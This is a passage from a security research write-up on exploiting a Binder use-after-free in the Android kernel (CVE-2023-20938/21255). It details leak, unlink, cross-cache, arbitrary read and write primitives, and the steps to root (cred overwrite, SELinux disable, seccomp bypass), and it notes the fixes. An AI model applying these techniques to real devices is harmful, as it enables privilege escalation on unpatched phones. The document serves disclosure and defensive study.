static void binder_dec_node(struct binder_node *node, int strong /*1*/, int internal /*0*/)
{
  bool free_node;

  binder_node_inner_lock(node);
  free_node = binder_dec_node_nilocked(node, strong, internal); // [1]
  binder_node_inner_unlock(node);
  if (free_node)
    binder_free_node(node); // [2]
}

Note: There are many functions in Binder that has a suffix *locked which expects that the caller has acquired necessary locks before calling them. More details about all the suffixes can be found at the top of /drivers/android/binder.c code.

In the binder_dec_node_nilocked function, if strong == 1 and internal == 0, it decrements the local_strong_refs field in binder_node.

static bool binder_dec_node_nilocked(struct binder_node *node,
                                     int strong /*1*/, int internal /*0*/)
{
  ...
  if (strong) {
    if (internal)
      ...
    else
      node->local_strong_refs--;
    ...
  } else {
    ...
  }
  ...
}

Thus, to trigger the vulnerability we can send a transaction with a Node object with the header type set to BINDER_TYPE_BINDER and the binder field set to the ID of the Node (struct binder_node) we want to decrement the value of its local_strong_refs reference counter. The diagram below shows a malicious transaction that exploits the vulnerability to decrement a reference counter in the Node 0xbeef of the recipient client two times. The transaction contains two Nodes (struct flat_binder_object) and an unaligned offsets_size.

The unaligned offsets_size cause Binder to take the vulnerable error-handling path in the binder_transaction function, which skips processing the two Nodes in the transaction. This exploits the binder_transaction_buffer_release function to clean up those two Nodes, which decrements the Node 0xbeef’s local_strong_refs twice – once for each of the 2 struct flat_binder_ojbect objects in the transaction.

Now, let’s analyze which conditions struct binder_node needs to satisfy to be freed in the binder_dec_node function (i.e. under what conditions binder_dec_node_nilocked returns true forcing binder_dec_node to free the binder_node). Based on the code fragment below, the binder_dec_node_nilocked returns true based on the values of several fields in the struct binder_node.

static bool binder_dec_node_nilocked(struct binder_node *node,
                                     int strong /*1*/, int internal /*0*/)
{
  ...
  if (strong) {
    if (internal)
      ...
    else
      node->local_strong_refs--;
    if (node->local_strong_refs || node->internal_strong_refs)
      return false;
  } else {
    ...
  }

  if (proc && (node->has_strong_ref || node->has_weak_ref)) {
    ...
  } else {
    if (hlist_empty(&node->refs) && !node->local_strong_refs &&
        !node->local_weak_refs && !node->tmp_refs) {
      ...
      return true;
    }
  }
  return false;
}

To ensure that binder_dec_node_nilocked returns true after decrementing local_strong_refs, we have to pass a node that meets the following conditions:

// Reference counters in struct binder_node
local_strong_refs        == 1 // before `binder_dec_node_nilocked` decrements it
local_weak_refs          == 0
internal_strong_refs     == 0
tmp_refs                 == 0

has_strong_ref           == 0
has_weak_ref             == 0
hlist_empty(&node->refs) == true

Thus, to free a binder_node object in the binder_dec_node function we must set up a binder_node that does not have any Refs referencing it and all reference counters are equal to zero except the local_strong_refs. Then, we can exploit the vulnerability to decrement the local_strong_refs and cause it to be freed by binder_free_node.

A simple way to set up a binder_node as such is as follows:

Client A and Client B establish a connection between each other with the Node 0xbeef and Ref 0xbeef (refer to previous diagrams). The Node begins with local_strong_refs equal to 1 because only the Ref object is referencing the Node.
Client B sends a transaction with the target.handle set to 0xbeef. Binder processes it, allocates a binder_buffer on the Client A’s side and copies the transaction data into the allocated buffer. At this moment, the Node’s local_strong_refs is equal to 2 because the Ref object and the transaction are referencing the Node.
Client B closes the Binder file descriptor, which releases the Ref object and decrements the local_strong_refs by 1. Now, the Node’s local_strong_ref goes back to 1 because only the transaction is referencing the Node.

The diagram below illustrates the setup of a binder_node before and after exploiting the vulnerability to free it:

After freeing the binder_node by exploiting the vulnerability, this leaves a dangling pointer in the target_node of the binder_buffer. In the following sections we utilize this use-after-free multiple times to obtain the necessary primitives for our exploit to root an Android device.

First we obtain a limited leak primitive enabling us to leak 16 bytes (2 8-byte values) from the kernel heap. We built on top of this primitive to get next-stage unlink primitive enabling us to overwrite kernel memory with the attacker controlled data. Next, we leverage both leak and unlink primitives to obtain arbitrary kernel memory read primitive which we use to identify addresses of kernel structures we want to overwrite to finally get root privileges on the devices.

Leak primitive

First, we exploit the vulnerability in the use-after-free read of a freed binder_node object in the binder_thread_read function. When a client performs a BINDER_WRITE_READ ioctl to read incoming transactions from Binder, Binder calls the binder_thread_read function to copy incoming transactions back to the userspace. This function copies two fields from the binder_node (ptr and cookie) into a transaction ([1] and [2]). Then, Binder copies the transaction back to userspace [3]. Therefore, we can cause an use-after-read to leak two values from the kernel heap memory.

static int binder_thread_read(...)
{
...
    struct binder_transaction_data_secctx tr;
    struct binder_transaction_data *trd = &tr.transaction_data;
...
    struct binder_transaction *t = NULL;
...
            t = container_of(w, struct binder_transaction, work);
...
        if (t->buffer->target_node) {
            struct binder_node *target_node = t->buffer->target_node;

            trd->target.ptr = target_node->ptr; // [1]
            trd->cookie = target_node->cookie; // [2]
...
    }
...
        if (copy_to_user(ptr, &tr, trsize)) { // [3]
...
    }
...
}

The binder_node object is allocated from the kmalloc-128 SLAB cache and the two 8-bytes leaks are at offsets 88 and 96.

gdb> ptype /o struct binder_node
/* offset      |    size */  type = struct binder_node {
...
/*     88      |       8 */    binder_uintptr_t ptr;
/*     96      |       8 */    binder_uintptr_t cookie;

Unlink primitive

There can be an use-after-free in an unlink operation in the binder_dec_node_nilocked function [1]. However, there are also multiple checks before reaching the unlink operation.

static bool binder_dec_node_nilocked(struct binder_node *node,
                                             int strong, int internal)
{
  struct binder_proc *proc = node->proc;
  ...
  if (strong) {
    ...
    if (node->local_strong_refs || node->internal_strong_refs)
      return false;
  } else {
    ...
  }

  if (proc && (node->has_strong_ref || node->has_weak_ref)) {
    ...
  } else {
    if (hlist_empty(&node->refs) && !node->local_strong_refs &&
        !node->local_weak_refs && !node->tmp_refs) {
      if (proc) {
        ...
      } else {
        BUG_ON(!list_empty(&node->work.entry));
        ...
        if (node->tmp_refs) {
          ...
          return false;
        }
        hlist_del(&node->dead_node); // [1]
        ...
      }
      return true;
    }
  }
  return false;
}

The unlink operation implemented in __hlist_del function basically modifies two kernel pointers to point to each other.

static inline void __hlist_del(struct hlist_node *n)
{
    struct hlist_node *next = n->next;
    struct hlist_node **pprev = n->pprev;

    WRITE_ONCE(*pprev, next);
    if (next)
        WRITE_ONCE(next->pprev, pprev);
}

Without loss of generality it can be summarized as:

*pprev = next
*(next + 8) = pprev

To reach the unlink operation, we must reallocate the freed binder_node object with a fake binder_node object whose data we control. For that we can use a well-known sendmsg heap spray technique to allocate an object with arbitrary data on top of the freed binder_node.

Because there are multiple checks before the unlink operation, we must fill the fake binder_node with the right data to pass them. We must create a fake binder_node object with the following conditions:

node->proc == 0
node->has_strong_ref == 0
node->has_weak_ref == 0
node->local_strong_refs == 0
node->local_weak_refs == 0
node->tmp_refs == 0
node->refs == 0 // hlist_empty(node->refs)
node->work.entry = &node->work.entry // list_empty(&node->work.entry)

The last condition is tricky to satisfy because we must already know the address of the freed binder_node to calculate the correct &node->work.entry. Fortunately, we can use our leak primitive to leak a binder_node address before exploiting the vulnerability to free it. Here is how we can accomplish this.

Leak a binder_node address

A binder_ref object is allocated from the kmalloc-128 SLAB cache and contains a pointer to the corresponding binder_node object exactly at offset 88 (as you remember our leak primitive discussed above leaks two 8-byte values at offsets 88 and 96 during use-after-free read).

gdb> ptype /o struct binder_ref
/* offset      |    size */  type = struct binder_ref {
...
/*     88      |       8 */    struct binder_node *node;
/*     96      |       8 */    struct binder_ref_death *death;

Therefore, we can leak an address to a binder_node with the following steps:

Exploit the vulnerability to free a binder_node.
Allocate a binder_ref on top of the freed binder_node.
Use the leak primitive to leak an address to a binder_node from the binder_ref.

Once we leak the address of the freed binder_node object we have all the necessary data to set up our unlink primitive. After reallocating our fake binder_node with sendmsg, we send a BC_FREE_BUFFER binder command to free the transaction containing the dangling binder_node to trigger the unlink operation. At this point, we achieve a limited arbitrary write primitive – due to the implementation details of __hlist_del function we overwrite kernel memory either with a valid kernel pointer or with NULL.

Arbitrary Read Primitive

The exploit for CVE-2020-0041 utilized the FIGETBSZ ioctl to obtain arbitrary read primitive. The FIGETBSZ ioctl copies 4 bytes of data corresponding to the s_blocksize member of struct super_block from the kernel back to the userspace as shown in the listing below at [1].

static int do_vfs_ioctl(struct file *filp, ...) {
...
  struct inode *inode = file_inode(filp);
...
    case FIGETBSZ:
...
      return put_user(inode->i_sb->s_blocksize, (int __user *)argp); // [1]
...
}

ioctl(fd, FIGETBSZ, &value); // &value == argp

The diagram below shows the location of the s_blocksize field as referenced by struct file and struct inode structures.

We can perform an unlink write to modify the inode pointer to point to a struct epitem that we know the address of. As we can directly control the event.data field (located at the offset of 40 bytes from the beginning of the structure) in the struct epitem with epoll_ctl to point it to anywhere in kernel address space, then we can easily modify the i_sb field (also located at the offset 40) shown above with any arbitrary value.

Then, we can use the FIGETBSZ ioctl and epoll_ctl as our arbitrary read primitive to read a 4-byte value from anywhere in the kernel address space. BUT, we must first know the kernel addresses of a struct file and a struct epitem objects.

Leak `struct file` address

The struct epitem contains two kernel pointers (next and prev) at offsets 88 and 96 correspondingly.

gdb> ptype /o struct epitem
/* offset      |    size */  type = struct epitem {
...
/*     88      |      16 */    struct list_head {
/*     88      |       8 */        struct list_head *next
/*     96      |       8 */        struct list_head *prev;
                               } fllink;

These two kernel pointers (next and prev) form a linked list of struct epitem objects. The head of the linked list is located at struct file.f_ep_links. When we use the leak primitive to leak those kernel pointers back to the userspace, one of those pointers will point to a struct file object.

Allocating a struct epitem on top of the freed binder_node was straightforward in the previous exploit for CVE-2020-0041 targeting kernel version 4.9. Both struct epitem and binder_node are allocated from the same kmalloc-128 SLAB cache due to cache aliasing and the kmalloc-128 SLAB cache works in a FIFO manner. Therefore, after freeing the binder_node, we could allocate a struct epitem from the same memory location where the binder_node was.

Cache aliasing is a kernel feature which merges multiple SLAB caches into one single SLAB cache for efficiency purposes. This happens when those SLAB caches hold similar size objects and share similar attributes. More details on cache aliasing can be found in Linux kernel heap feng shui in 2022 blog.

In kernel version 5.10, a commit added the SLAB_ACCOUNT flag to the eventpoll_epi SLAB cache, so the eventpoll_epi and kmalloc-128 no longer share the same SLAB cache. In other words, a struct epitem is no longer allocated from the kmalloc-128 SLAB cache, which prevents us from allocating it on top of the freed binder_node immediately.

Cross-cache attack

Cross-cache attack is a technique to allocate an object on top of another object that is allocated from a different cache. This is possible because there are multiple levels of memory allocators in the kernel and caches from the same level share the same memory allocator higher in their hierarchy. Caches in the SLUB allocator (kmem_cache) acquire a page from the page allocator and use them as a slab. If a kmem_cache releases a page back to the page allocator, another kmem_cache that requires additional memory during allocation will acquire it.

Notes: The page allocator is a buddy allocator which has caches for different orders of contiguous free pages. Different kmem_caches use different numbers of contiguous pages as its slab. Fortunately, both kmalloc-128 and eventpoll_epi kmem_caches use order-0 (2^0 = 1) page as a slab. Therefore, we do not have to groom the page allocator when performing a cross-cache attack and we can safely assume that the page allocator acts in a FIFO manner for every page allocated from and released to it.

The diagram below shows how a struct epitem can be allocated from the same memory region that was used by a previously freed binder_node.

To perform a cross-cache attack, we must release a slab (a 4K page) from the kmalloc-128 back to the page allocator’s per-cpu page cache, so it can be allocated to eventpoll_epi. Each slab in the kmalloc-128 and eventpoll_epi is a 4K page and can hold 32 kernel objects (4096 / 128).

To have control over one whole slab, we must allocate 32 binder_objects. Then, we exploit the vulnerability to release all binder_nodes at once and leave dangling pointers pointing to them. However, SLUB allocator does not immediately release the page of the empty slab back to the page allocator, but puts it on the kmalloc-128 cache’s partial list and makes it frozen (by setting struct page.frozen field).

Notes: SLUB allocator uses the struct page of the slab to store metadata, such as the number of in-use objects, the next page in the partial list and etc..

Every kmem_cache holds a number of slabs in the partial list, which can be empty or partially-empty, before releasing the empty slabs back to the page allocator. The SLUB allocator tracks the number of free slots in the partial list in the page of the first slab on the list (struct page.pobjects). When the value of pobjects field is larger than the value of kmem_cache.cpu_partial field, the SLUB allocator unfreezes and releases every empty slab back to the page allocator. The set_cpu_partial function determines the value of kmem_cache.cpu_partial and it is 30 for the kmalloc_128.

However, as it turned out it’s not sufficient to have 30 empty slots in the partial list to get our empty slabs be released back to the page allocator. At the moment of working on PoC there was an accounting bug in the SLUB allocator that causes the pobjects to keep track of the number of slabs on the partial list instead of empty slots. Therefore, the SLUB allocator starts releasing empty slabs back to the page allocator when the kmalloc-128 has more than 30 slabs in the partial list.

In our exploits, we allocate 36 * 32 (number of slabs * number of objects in a slab) binder_nodes and release them all at once. Then, we allocate more than 32 struct epitems to use up all the empty slots on the eventpoll_epi’s partial lists, so eventpoll_epi will allocate new pages from the page allocator.

Finally, we use the leak primitive on all dangling nodes to read the values of those two fields at offset 88 and 96. If we have successfully allocated a struct epitem on top of an already freed binder_node, we will find kernel addresses in those fields and one of them is the kernel address of a struct file.

Binder buffer allocator

We want to fill the whole kmalloc-128 slab with binder_nodes, so we can create dangling pointers to every object in the slab by exploiting the vulnerability, but there is a challenge.

      slab
+---------------+
| *binder_node* |<---- dangling pointer
+---------------+
| *binder_node* |<---- dangling pointer
+---------------+
|      ...      |
+---------------+

When we send a transaction, Binder also allocates other kernel objects from the kmalloc-128 cache, such as the struct binder_buffer object. The binder_buffer object holds information about the transaction buffer and a pointer to a binder_node owned by the recipient client’s binder_proc. Exploiting the vulnerability turns that pointer to a dangling pointer to the freed binder_node.

      slab
+---------------+
|      ...      |
+---------------+
| binder_buffer |----+
+---------------+    | dangling pointer
| *binder_node* |<---+
+---------------+
|      ...      |
+---------------+

However, we cannot free this binder_buffer yet because we need it to trigger the use-after-free for the leak and unlink primitives. Therefore, we must ensure the binder_buffer cannot be allocated from the same kmalloc-128 slab as the binder_nodes.

Binder implements its own memory allocator to allocate memory for every incoming transaction and map them to the recipient’s mapped memory map. The memory allocator employs the best-fit allocation strategy and uses the binder_buffer object to keep track of all allocated and free memory regions. When allocating a new transaction buffer, it searches for a free binder_buffer of the same size to reuse. If none is available, it splits a larger free binder_buffer into two: one with the requested size and another with the remaining size.

To prevent Binder from allocating a new binder_buffer for every transaction, we can allocate many free binder_buffers in advance by causing memory fragmentation. We can achieve that by sending multiple transactions of varying sizes and selectively releasing some of them. Consequently, this process creates gaps within the memory allocator, which results many free binder_buffer available for reuse in future transactions.

Binder buffer allocator
+-----------------+----------+-----------------+----------+---------+
|    free (24)    | used (8) |    free (24)    | used (8) |   ...   |
+-----------------+----------+-----------------+----------+---------+

Here is a video demonstrating the cross-cache attack:

Root

To obtain root privileges, we perform the following steps:

Use the arbitrary read primitive to find our process’s task_struct and cred structures.

struct binder_node *node;
struct binder_proc *proc = node->proc;
struct task_struct *task = proc->tsk;
struct task_struct *cred = task->cred;

Overwrite all the ID fields in the struct cred object with 0 (the UID for root).
Disable SELinux by overwriting selinux.enforcing field with 0.
Enable TIF_SECCOMP in the current task flag and overwrite the seccomp’s mask with 0 to bypass seccomp.

Demo

Bonus: Arbitrary Write Primitive

Although we do not need an arbitrary write primitive to achieve root privilege in our PoC, we would like to provide information on how to obtain write-what-where primite for the reference.

Our unlink primitive can write at any arbitrary address writeable in the kernel, but it can only write 0 or a value which is valid (i.e. writeable) kernel address. To achieve a more powerful arbitrary write (write-what-where), we chose to exploit the pointer field buf in the struct seq_file object based on the technique presented in Typhoon Mangkhut exploit chain by 360 Alpha Lab (slides).

struct seq_file {
  char *buf;
...
};

The struct seq_file is used by files implemented with the Linux’s seq_file interface, for example /proc/self/comm. When opening the /proc/self/comm file, the kernel creates a struct seq_file and calls the comm_open function. The comm_open passes the comm_show function to the single_open function to define what string to show when the file is read.

// fs/proc/base.c
static int comm_open(struct inode *inode, struct file *filp)
{
  return single_open(filp, comm_show, inode);
}

The comm_show copies the current task name into the seq_file->buf buffer ([1] in the listing below).

// fs/proc/base.c
static int comm_show(struct seq_file *m, void *v)
{
...
  proc_task_name(m, p, false);
...
}

// fs/proc/array.c
void proc_task_name(struct seq_file *m, struct task_struct *p, bool escape)
{
  char *buf;
  size_t size;
  char tcomm[64];
  ...
  // `tcomm` is filled with the current task name
  ...
  size = seq_get_buf(m, &buf); // buf = m->buf
  if (escape) {
  ...
  } else {
    ret = strscpy(buf, tcomm, size); // [1]
  }
}

We can open the /proc/self/comm file two times to allocate two instances struct seq_file in the kernel. Then, we use the unlink primitive to overwrite struct seq_file->buf field in the first instance to point to the address of struct seq_file->buf field in the second instance.

As a result, this enables us to overwrite the struct seq_file->buf field in the second instance to point to any arbitrary kernel address by changing the current task name to the 8-byte value of the target address and calling lseek on the first seq_file’s file descriptor ([2] in the listing below). Calling lseek on the file descriptor will trigger the comm_show function leading to overwriting struct seq_file->buf field in the second instance of the structure with the target address.

// [2] Point `seq_file->buf` to arbitrary kernel address
prctl(PR_SET_NAME,"\xef\xbe\xad\xde\xff\xff\xff\xff\0", 0, 0, 0);
lseek(comm_fd1, 1, SEEK_SET); // comm_fd1 = First seq_file's file descriptor

The diagram below shows the layout of the instances of struct seq_file with struct seq_file->buf field pointing at the attacker-chosen address.

Then, we can perform similar actions on the second seq_file’s file descriptor to write with data we control by setting the current task name. As a result, this gives us a more powerful arbitrary write (write-what-where) primitive in kernel memory.

Bonus: Binder Node reference counting explained

Let’s examine the 4 reference counters of a struct binder_node.

The local_strong_refs and local_weak_refs keep track of the number of Nodes in all transactions that reference the Node. Remember the Node in a transaction (struct flat_binder_object) has a different data structure from the Node (struct binder_node) that Binder creates internally for bookkeeping. Binder ensures that every binder_node does not go away when there are Nodes in transactions that have references to it.

After opening a Binder device file, we call mmap to provide a shared memory map that Binder uses to store data for incoming transactions. Binder implements a buffer allocator to manage that shared memory map, which allocates a struct binder_buffer to occupy a part of the memory map to store an incoming transaction data. The target_node field in the struct binder_buffer references the binder_node that belongs to the receiving client, which increments that binder_node’s local_strong_refs refcount.

The internal_strong_refs keep tracks of how many Refs other clients have that are referencing the Node.

The diagram below illustrates a scenario where Client A has an incoming transaction that contains two Nodes and Client B has a Ref 0xbeef (binder_ref) that references Client A’s Node 0xbeef (binder_node). Most importantly, it highlights how those data structures increment the reference counters of Node 0xbeef.

When Binder assigns a variable to a pointer to a binder_node, it uses the tmp_refs to keep the binder_node alive as long as the pointer is used within its scope. The code below shows a basic example:

struct binder_node *node = ...;
binder_inc_node_tmpref(node);

// Access `node` safely

binder_dec_node_tmpref(node); // `node` can no longer be used after this.
                                 Otherwise, there can be race conditions.

Binder also sets the has_strong_ref and has_weak_ref flags when there is at least one Ref that references the binder_node.

The binder_node->refs points to the head of a list of Refs.

Remediation & Conclusion

The issue described in this blog has been remediated in two Android Security Bulletins:

CVE-2023-20938 in 2023-02-01
CVE-2023-21255 in 2023-07-01

CVE-2023-20938 was initially addressed in the February 2023 Android Security Bulletin by back-porting a patch to the vulnerable kernels. However, further analysis reveals that the patch did not fully mitigate the underlying root cause and it was still possible to reach the bug, although, through a different path. As a result, a new CVE-2023-21255 was assigned and the root cause was fully mitigated in the July 2023 Android Security Bulletin.

Credits

Special thanks to Carlos Llamas, Jann Horn, Seth Jenkins, Octavian Purdila, Xingyu Jin, Farzan Karimi, for their support with technical questions and for reviewing this post.